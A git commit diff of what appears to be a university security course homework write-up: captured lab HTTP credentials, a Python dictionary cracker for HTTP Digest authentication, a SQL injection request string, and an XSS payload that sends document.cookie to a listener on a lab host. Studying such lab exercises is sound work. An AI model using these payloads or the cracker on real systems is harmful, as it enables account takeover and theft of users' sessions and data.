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authorMatt Strapp <matt@mattstrapp.net>2021-12-11 17:42:55 -0600
committerMatt Strapp <matt@mattstrapp.net>2021-12-11 17:42:55 -0600
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parentfinish ex4 (diff)
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do more of ho2
Signed-off-by: Matt Strapp <matt@mattstrapp.net>
Diffstat (limited to '')
-rw-r--r--csci5271/ho2/writeup.md80
1 files changed, 70 insertions, 10 deletions
diff --git a/csci5271/ho2/writeup.md b/csci5271/ho2/writeup.md
index 5093b8d..e752fcb 100644
--- a/csci5271/ho2/writeup.md
+++ b/csci5271/ho2/writeup.md
@@ -1,6 +1,6 @@
-#1
+# 1
-##Packet
+## Packet
```
IP 192.168.14.3.46826 > 192.168.14.1.80: Flags [P.], seq 1:143, ack 1, win 502, options [nop,nop,TS val 1452909150 ecr 2428281190], length 142: HTTP: GET /secret/file HTTP/1.1
E.....@.@..............P.Tw.|..j...........
@@ -11,16 +11,16 @@ User-Agent: curl/7.58.0
Accept: */*
```
-##User/Pass:
+## User/Pass:
`travis14:maivDecgur2202`
-##Contents:
+## Contents:
```html
-<p>I'm going to let you in on a little secret. Every day, once a day, give yourself a present. Don’t plan it; don’t wait for it; just let it happen.</p>
-<p>&mdash; Dale Cooper</p>
+I'm going to let you in on a little secret. Every day, once a day, give yourself a present. Don’t plan it; don’t wait for it; just let it happen.
+- Dale Cooper
```
-#2
-##Packet
+# 2
+## Packet
```
182203 IP 192.168.14.2.36586 > 192.168.14.1.80: Flags [P.], seq 91:464, ack 308, win 501, options [nop,nop,TS val 422351445 ecr 1957960104], length 373: HTTP: HEAD /secret/cheese HTTP/1.1
E.....@.@..v...........P,..................
@@ -31,7 +31,67 @@ User-Agent: curl/7.58.0
Accept: */*
```
-##Crack
+## Crack
```python
+# HTTP Digest Authentication cracker
import hashlib
-``` \ No newline at end of file
+
+username = "travis14"
+realm = "Cheese"
+nonce = "/DPYEFbSBQA=c06893026441a70acf049b49540e97acd2bdd640"
+uri = "/secret/cheese"
+qop = "auth"
+nc = "00000001"
+cnonce = "ZjdlNTk0ZGZmMDQwZTU3OTM2MTIxOGEyNzljNDJlYzc="
+response = "872aafc461761e417d2df47b85e43d2b"
+
+# Calculate the response
+with open("10k-most-common.txt") as f:
+ for line in f:
+ line = line.strip('\n').strip()
+ ha1 = hashlib.md5((username + ":" + realm + ":" + line).encode('utf-8')).hexdigest()
+ ha2 = hashlib.md5(("HEAD" + ":" + uri).encode('utf-8')).hexdigest()
+ response = hashlib.md5((ha1 + ":" + nonce + ":" + nc + ":" + cnonce + ":" + qop + ":" + ha2).encode('utf-8')).hexdigest()
+ # print(line + ":" + response)
+ if (response == "872aafc461761e417d2df47b85e43d2b"):
+ print("Password: " + line)
+ break
+
+```
+## Password
+`Password: domain`
+
+##Contents:
+```
+Intelligence alone is not nearly enough when it comes to acting wisely.
+
+— Fyodor Dostoevsky
+```
+
+# 3
+## Cookie
+`Stephen2019-11-03T12%3A44%3A21Z`
+
+# 4
+The secret to figuring out the SQL injection was ~~trying everything~~ tuning the query to stop returning Error 500.
+
+## Request
+`picture=char-kway-teow.jpg'+OR+1=1+AND'user=alice--`
+
+## Response
+`The best char kway teow is Penang char kway teow (lat: 5.411135 / lng: 100.330462)`
+
+# 5
+
+## XSS
+```html
+<script>document.location="http://192.168.14.3:8080/?cookie="+document.cookie;</script>
+```
+
+## Cookie
+`GET /?cookie=auth=Iwillseeyouagainin32years. HTTP/1.1" 200 -`
+
+## Writeup
+The main additional thing I did was start up a `SimpleHTTPServer` on port 8080 of the server I have SSH access to. The attack works because the server is making an HTTP request to that port with the cookie being that of the browser.
+
+# 6